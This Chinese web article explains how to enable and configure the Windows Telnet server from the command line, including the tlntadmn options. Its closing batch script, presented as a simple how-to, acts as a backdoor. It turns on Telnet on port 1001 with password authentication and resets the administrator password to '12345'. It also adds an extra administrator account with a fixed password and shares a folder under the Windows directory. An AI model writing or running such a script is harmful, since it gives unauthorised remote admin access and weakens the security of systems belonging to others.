cmd下开启telnet的方法

    文章来源:万象互联 更新时间:2012-8-14 15:16:28
分享:

1.启动

sc config tlntsvr start= auto
net start telnet

2.telnet管理工具

C:\>tlntadmn /?
用法: tlntadmn [computer name] [common_options] start | stop | pause | continue
| -s | -k | -m | config config_options
所有会话用 ‘all'。
-s sessionid 列出会话的信息。
-k sessionid 终止会话。
-m sessionid 发送消息到会话。
config 配置telnet 服务器参数。
common_options 为:
-u user 指定要使用其凭据的用户
-p password 用户密码
config_options 为:
dom = domain 设定用户的默认域
ctrlakeymap = yes|no 设定ALT 键的映射
timeout = hh:mm:ss 设定空闲会话超时值
timeoutactive = yes|no 启用空闲会话。
maxfail = attempts 设定断开前失败的登录企图数。
maxconn = connections 设定最大连接数。
port = number 设定telnet 端口www.2cto.com
sec = [+/-]NTLM [+/-]passwd
设定身份验证机构
mode = console|stream 指定操作模式。

3.更改验证模式

tlntadmn config sec =passwd

4.更改端口

tlntadmn config port = 1001

5.批处理
代码如下:
@echo off
@sc config tlntsvr start= auto
@net start telnet
@tlntadmn config sec =passwd
@tlntadmn config port = 1001
@net user administrator 12345
@net user 394931603 123456789 /add
@net localgroup administrators 394931603 /add
@pause
@md c:\windows\3949
@net share 3949=c:\windows\3949

版权声明:以上文章来源于网络,版权归原作者所有。


版权说明:本站原创文章,由万象互联SEO优化发表.
本文地址:https://www.hulian.top/zixun/post/5070.html
在线咨询
  • 在线时间
  • 8:00-21:00